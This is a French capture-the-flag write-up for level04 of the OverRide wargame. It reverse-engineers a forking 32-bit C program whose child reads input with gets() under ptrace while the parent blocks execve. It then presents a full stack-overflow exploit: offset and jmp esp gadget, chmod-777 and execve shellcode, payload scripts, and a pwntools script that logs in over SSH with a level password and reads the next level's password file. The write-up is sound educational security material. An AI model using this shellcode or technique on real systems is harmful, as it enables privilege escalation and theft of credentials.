4. *Level 04*

On est sur du 32 bits ; C. On reconstruit le code source suivant :

```c
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <signal.h>

int     main(void)
{
    pid_t   pid;        // [esp+0xac]
    int     n;          // [esp+0xa8]
    int     ret;        // [esp+0x1c]
    int     ret2;       // [esp+0xa0]
    int     ret3;       // [esp+0xa4]
    char    buff[128];  // [esp+0x20]

    pid = fork();
    int i = 0;
    while (i < 128)
        buff[i++] = '\0';

    n = 0;
    ret = 0;
    if (pid == 0)                                   // Executed by child
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0x0, 0x0, 0x0);
        puts("Give me some shellcode, k");
        gets(buff);
    }
    else                                            // Executed by parent
    {
        while (n != 0xb)
        {
            wait(&ret);
            ret2 = ret;
            if (WIFEXITED(ret) || WIFSIGNALED(ret))
            {
                puts("child is exiting...");
                return (0);
            }
            n = ptrace(PTRACE_PEEKUSER, pid, 0x2c, 0x0);
        }
        puts("no exec() for you");
        kill(pid, 0x9);
```

```
    }
    return (0);
}
```

Le code source n'était pas particulièrement difficile à reconstruire, mais son interprétation était un peu plus longue car il introduit un certain nombre de concepts nouveaux pour moi.

Le programme commence par un **fork** classique, se dupliquant afin de créer un *child process*. Les commandes exécutées par le *child process* seront celles dans la condition **pid == 0** ; le process parent exécutera les instructions du **else**.

Le processus enfant commence par un appel à **prctl** :
https://man7.org/linux/man-pages/man2/prctl.2.html

Cette fonction permet de manipuler "différents aspects relatifs au comportement du processus / de la thread appelante". Il y a pas mal d'options disponibles ; dans notre disassembly, la fonction était appelée comme suit :

```
prctl(0x1, 0x1)
```

Pour le premier argument, les macros et leurs valeurs correspondantes sont définies dans **prctl.h**, et on voit que PR_SET_PDEATHSIG équivaut à **1** :
https://code.woboq.org/userspace/include/linux/prctl.h.html

Lorsque le premier argument de **prctl** est PR_SET_PDEATHSIG, la fonction indique quel signal transmettre au processus enfant lorsque le processus parent est arrêté / mort. Le second argument correspond alors au numéro de signal à passer à l'enfant, défini dans **sys/signal.h** (on voit que 0x1 équivaut à SIGHUP) :
https://unix.superglobalmegacorp.com/Net2/newsrc/sys/signal.h.html

On voit ensuite un **appel à ptrace** ; en disassembly, il avait cette tête :
ptrace(0x0, 0x0, 0x0, 0x0)

Le comportement de **ptrace** et les arguments de la fonction dépendent du **1er argument**, qui définit l'action à entreprendre ; les macros sont définies dans le man :
https://man7.org/linux/man-pages/man2/ptrace.2.html

Les valeurs des macros sont définies dans **ptrace.h** :
https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/x86/sys/ptrace.h.html

On voit donc que la valeur **0x0** correspond bien à **PTRACE_TRACEME**. Concernant **ptrace** de manière plus générale, la page man décrit ce system call de la façon suivante :
'*The ptrace() system call provides a means by which one process (the "tracer") may observe and control the execution of another process (the "tracee"), and examine and change the tracee's memory and registers*'.

Il s'agit en fait du system call utilisé par les **debuggers** (gdb, radare2...) afin précisément de débugger un programme. Un *tracee* doit d'abord être attaché au *tracer* (le debugger), ce qui peut être fait par le debugger qui lance le programme (`gdb <program name>`), ou le debugger peut également s'attacher à un running process.

Quoi qu'il en soit, le **system call ptrace** permet d'effectuer toutes les actions de debugging nécessaires au *tracee*. Comme prctl, la structure de la fonction **ptrace** est la suivante, le premier argument déterminant la signification des suivants :

```
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void
*data);
```

On ne va pas lister toutes les actions possibles, mais par exemple :

- `PTRACE_PEEKDATA` permet de lire un **word** de la mémoire du processus *tracee* (ses instructions / la mémoire du programme lui-même). Le mot est lu à l'adresse **addr** (data ignored).
- `PTRACE_PEEKUSER` permet de lire un **word** à l'**offset** addr "*in the tracee's USER area, which holds the registers and other information about the process*". Cet appel permet donc de récupérer l'état des registres.
- `PTRACE_POKEDATA` agit comme PEEKDATA sauf qu'au lieu de lire, on écrit **data** à **addr** dans le processus *tracee*.
- Etc...

Bref, dans notre cas le processus enfant appelle **ptrace** avec PTRACE_TRACEME en premier argument ("*Indicate that this process is to be traced by its parent*"). Un appel à **gets** est ensuite effectué, constituant un potentiel buffer overflow. Le processus enfant, ensuite, **returns**.

Examinons maintenant la boucle du processus parent. Un **wait** est d'abord opéré, afin d'attendre que le processus enfant change d'état. Si un changement d'état est détecté dans le processus enfant, on vérifie si ce processus enfant a **exit** ou s'est fait **interrompre par un signal**.

En assembly, la synthaxe traduite sans macro :
```
if (ret & 0x7f == 0 || ((ret & 0x7f) >> 1) > 0
```

On a récupéré l'équivalent en macro dans **waitstatus.h** :
https://code.woboq.org/userspace/glibc/bits/waitstatus.h.html

Bref, on attend le processus enfant, et si celui-ci a quitté ou s'est fait terminer, on quitte le processus parent. Si cependant le processus enfant a changé d'état sans terminer (exit / signal), on fait l'appel suivant à **ptrace** :
```
n = ptrace(PTRACE_PEEKUSER, pid, 0x2c, 0x0);
```

Cela va retourner **le contenu du registre eax** du processus enfant. Comment savoir que l'offset 0x2c correspond au registre EAX (**sys/reg.h**) :
https://stackoverflow.com/questions/55048715/how-to-get-the-offset-of-a-given-cpu-register-in-rust

La valeur du register **eax** est stockée dans **n** ; elle est ensuite comparée à **0xb** (15) : si la valeur du registre **eax** est en effet égale à 15, un message est affiché et le processus enfant est **kill**.

La valeur **0xb (15) correspond au numéro de syscall execv()**. Rappelons que pour effectuer un appel système en 32bits : **eax** = syscall number ; args in **ebx – ecx – edx – esi – edi – ebp**.

Ainsi, la boucle du processus parent doit être comprise comme suit :
> Wait for child process to change state.
> If child process terminated (exit / signal), all good, display message and return 0.

> If child process attempted to **execve()**, display message and kill child process.

REMARQUE : Lorsque **execve** est appelé dans le child process, la fonction **wait** ne bloque plus le processus parent et permet au **ptrace** d'examiner le contenu de **eax**.

Bref, on **ne peut pas faire exécuter du execve** au child process dans le cadre d'un buffer overflow ou d'une exécution de shellcode. Si c'est le cas, le processus parent va directement **kill** le processus enfant.

Au niveau de l'exploitation maintenant, on a remarqué qu'il existe un buffer overflow dans le processus enfant (**gets** dans un buffer statique de taille fixe). La stack est exécutable. Le plan est donc très simple.
> Overwrite return adress in child process.
> Redirect execution flow to **jmp esp** gadget.
> Execute our shellcode following the bytes overwritting the return address in buffer.

On calcule l'offset auquel on contrôle la **return address** --> 156.
On récupère l'adresse d'un gadget **jmp esp** --> 0xf7e2ea55

On a tout ce qu'il faut pour faire exécuter du shellcode au processus enfant. Essayons d'abord, juste pour tester, de lui faire exécuter un shellcode **execve("/bin//sh")**, ce qui devrait donc directement échouer :

```
# --> execve("/bin//sh")
shellcode =
b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\x
b0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'

payload = b''
payload += b'A' * 156
payload += b'\x55\xea\xe2\xf7'
payload += shellcode

file = open("payload", "wb")
file.write(payload)
file.close()
```

On transfert le fichier **payload** sur la machine cible, et on essaie d'exécuter le programme avec le payload. Comme prévu, le processus enfant est tué directement et un message "no exec() for you" est affiché :

```
level04@OverRide:~$ ./level04 < /tmp/payload
Give me some shellcode, k
no exec() for you
level04@OverRide:~$
```

Mais en réalité, si **execve** est proscrit, on peut toujours exécuter du shellcode pour effectuer d'autres actions que pour ouvrir une shell. De plus, puisque la vulnérabilité vient d'un **gets**, on a **pas à se soucier des \x00 (NULL BYTES)**, gets ne s'arrête pas aux NULL BYTES. On est donc très libre finalement dans le shellcode qu'on souhaite faire exécuter au système.

On a pas mal d'options ici (appeler **fopen** puis **fread** et **write** pour leak le fichier **.pass**), mais on choisit une solution relativement simple, qui est de faire appel au **syscall chmod**. Le numéro du syscall est 15, et il nous permet de modifier les permissions sur les dossiers et les fichiers.

En effet, on sait que les permissions dans les dossiers **home** des utilisateurs sont les suivantes :

```
level04@OverRide:~$ ls -la
total 17
dr-xr-x---+ 1 level04 level04  120 Dec  6 12:56 .
dr-x--x--x  1 root    root     260 Oct  2  2016 ..
-r--------+ 1 level04 level04    0 Dec  6 12:56 .bash_history
-rw-r--r--  1 level04 level04  220 Sep 10  2016 .bash_logout
lrwxrwxrwx  1 root    root       7 Sep 13  2016 .bash_profile -> .bashrc
-rw-r--r--  1 level04 level04 3533 Sep 10  2016 .bashrc
dr-x------+ 2 level04 level04   40 Dec  6 12:55 .cache
-rwsr-s---+ 1 level05 users   7797 Sep 10  2016 level04
-rw-r--r--+ 1 level04 level04   41 Oct 19  2016 .pass
-rw-r--r--  1 level04 level04  675 Sep 10  2016 .profile
level04@OverRide:~$
```

Le fichier **.pass** est lisible par tout le monde ; cependant, seul **level04** a les droits de lecture sur le dossier qui contient ce fichier. Or, **un fichier contenu dans un dossier sur lequel nous n'avons pas les droits ne peut être lu** (même si les permissions du fichier laisseraient penser qu'on pourrait y accéder).

Tout ce qu'il nous reste à faire ici est donc de **chmod 777 /home/users/level05** afin de le rendre accessible en lecture pour tous, ce qui nous permettra de lire le fichier **.pass**. On écrit cela en assembleur, **32bits** :

```
bits 32
global main
section .text
    ;chmod 777 /home/users//level05

      main:
        xor eax,eax
        push eax                ; '\0'
        push 0x35306c65         ; el05
        push 0x76656c2f         ; /lev  --> ON STACK : /home/users//level05 + '\0'
        push 0x2f737265         ; ers/
        push 0x73752f65         ; e/us
        push 0x6d6f682f         ; /hom
        mov ebx,esp
        xor ecx,ecx             ; ecx --> 0x00000000
        mov cx,0x1ff            ; ecx --> 0x000001ff --> 0777o
        mov al,15
        int 0x80                ; chmod
        xor eax,eax
        inc eax
        int 0x80                ; exit
```

Plusieurs remarques :

> On a essayé de produire un code **sans NULL BYTE** (même si ceux-ci seraient passés ici) pour s'entraîner.
> C'est d'ailleurs pour cela qu'on trouve **plusieurs slash** dans le filepath dont on a besoin comme string. En effet, il faut que le string ait pour longueur **un multiple de 4** afin que les nombres hexadécimaux qui les représentent soient entièrement remplis et ne laissent pas d'espace pour des \x00. Et on peut ajouter un nombre arbitraire de '/' dans le filepath, cela sera ignoré par l'OS.
> Pour éviter les NULL BYTES toujours, on **xor eax,eax** au lieu de mov eax,0x0 par exemple afin de placer un NULL BYTE sur la pile.
> Après avoir empilé **eax** qui nous servira de **null byte**, on empile notre string sur la pile sous la forme de nombres hexadécimaux, 4 caractères par 4 caractères.
> Afin de placer 777 en octal dans **ecx**, on doit y placer 0x1ff en hexa. Si on tente simplement de mov ecx, 0x1ff, des **null bytes** seront rajoutés dans les instructions. On **xor** donc ecx pour le placer à 0, puis on ajouter 0x1ff dans **cx**.
> On appelle **chmod** avec le syscall **15**, ce qui déclenche notre **chmod**.
> On **exit**.

Tout ça devrait faire l'affaire et produire un shellcode exécutant **chmod 777 /home/users/level05** sans NULL BYTE.

On le compile (toujours en 32 bits!) (https://stackoverflow.com/questions/13178501/compiling-32-bit-assembler-on-64-bit-ubuntu) :

```
nasm -f elf32 chmod_dir.asm -o chmod_dir.o && gcc -m32 chmod_dir.o -o chmod_dir
```

On peut ensuite tout à fait créer un dossier en local /home/users/level05 et exécuter le binaire pour vérifier qu'il fait bien son travail. Quoi qu'il en soit, on sait maintenant que tout compile et que le comportement du programme est le comportement attendu. On transforme maintenant nos instructions assembleur en **shellcode**. Je l'ai fait en ligne avec :
https://defuse.ca/online-x86-assembler.htm

On copie les instructions assembleur x86 et ils nous sortent les **opcodes**. On peut ensuite d'ailleurs les tester dans un petit wrapper C en suivant le modèle de cette question stackoverflow :
https://stackoverflow.com/questions/57821963/how-can-i-reprogram-my-shellcode-snippet-to-avoid-null-bytes

Quoi qu'il en soit, on crée notre fichier payload de manière très similaire au précédent qui tentait d'exécuter **execve** :

```
# --> chmod 777 /home/users//level05
shellcode =
b'\x31\xC0\x50\x68\x65\x6C\x30\x35\x68\x2F\x6C\x65\x76\x68\x65\x72\x73\x2F\x68\x65\x2F\x75\x73\x68\x2F\x68\x6F\x6D\x89\xE3\x31\xC9\x66\xB9\xFF\x01\xB0\x0F\xCD\x80\x31\xC0\x40\xCD\x80'


payload = b''
payload += b'A' * 156
payload += b'\x55\xea\xe2\xf7'
payload += shellcode

file = open("payload", "wb")
```

```
file.write(payload)
file.close()
```

On transfert, on exécute, et on voit que notre shellcode exécutant **chmod** a bien été exécuté :

```
level04@OverRide:~$ ls -la /home/users/level05
ls: cannot open directory /home/users/level05: Permission denied
level04@OverRide:~$ ./level04 < /tmp/payload
Give me some shellcode, k
child is exiting...
level04@OverRide:~$ ls -la /home/users/level05
total 17
drwxrwxrwx+ 1 level05 level05  120 Dec  6 13:50 .
dr-x--x--x  1 root    root     260 Oct  2  2016 ..
-r--------+ 1 level05 level05    0 Dec  6 12:56 .bash_history
-rw-r--r--  1 level05 level05  220 Sep 10  2016 .bash_logout
lrwxrwxrwx  1 root    root       7 Sep 13  2016 .bash_profile -> .bashrc
-rw-r--r--  1 level05 level05 3533 Sep 10  2016 .bashrc
dr-x------+ 2 level05 level05   40 Dec  6 13:50 .cache
-rwsr-s---+ 1 level06 users   5176 Sep 10  2016 level05
-rw-r--r--+ 1 level05 level05   41 Oct 19  2016 .pass
-rw-r--r--  1 level05 level05  675 Sep 10  2016 .profile
level04@OverRide:~$
```

On peut désormais tranquillement lire le fichier **.pass**.

REMARQUE : si le fichier **.pass** n'était pas readable par tout le monde, on aurait pu simplement appliquer la même technique suite au chmod du dossier pour le fichier. C'est d'ailleurs ce que j'ai fait au départ avant de me rendre compte qu'on avait déjà les permissions en lecture pour le fichier, et que c'était les permissions du dossier qui bloquaient.

>> Exploitation manuelle

```
$ python -c "print('A' * 156 + '\x55\xea\xe2\xf7' +
'\x31\xC0\x50\x68\x65\x6C\x30\x35\x68\x2F\x6C\x65\x76\x68\x65\x72\x73\x2F\x68\x6
5\x2F\x75\x73\x68\x2F\x68\x6F\x6D\x89\xE3\x31\xC9\x66\xB9\xFF\x01\xB0\x0F\xCD\x8
0\x31\xC0\x40\xCD\x80')" > /tmp/payload

$ ./level04 < /tmp/payload

$ cat /home/users/level05/.pass
```

>> Exploit automatique

```
from pwn import *

### Some information ###

# libc      @ 0xf7e2c000
# jmp esp   @ 0xf7e2ea55
# offset    @ 156
```

```
s = ssh(host="192.168.1.3", port=4242, user="level04",
password="kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf")
p = s.process("/home/users/level04/./level04")


# --> chmod 777 /home/users//level05
shellcode =
b'\x31\xC0\x50\x68\x65\x6C\x30\x35\x68\x2F\x6C\x65\x76\x68\x65\x72\x73\x2F\x68\x
65\x2F\x75\x73\x68\x2F\x68\x6F\x6D\x89\xE3\x31\xC9\x66\xB9\xFF\x01\xB0\x0F\xCD\x
80\x31\xC0\x40\xCD\x80'


payload = b''
payload += b'A' * 156
payload += b'\x55\xea\xe2\xf7'
payload += shellcode

p.sendline(payload)

p2 = s.process(["/bin/cat", "/home/users/level05/.pass"])
p2.interactive()
```

Got flag.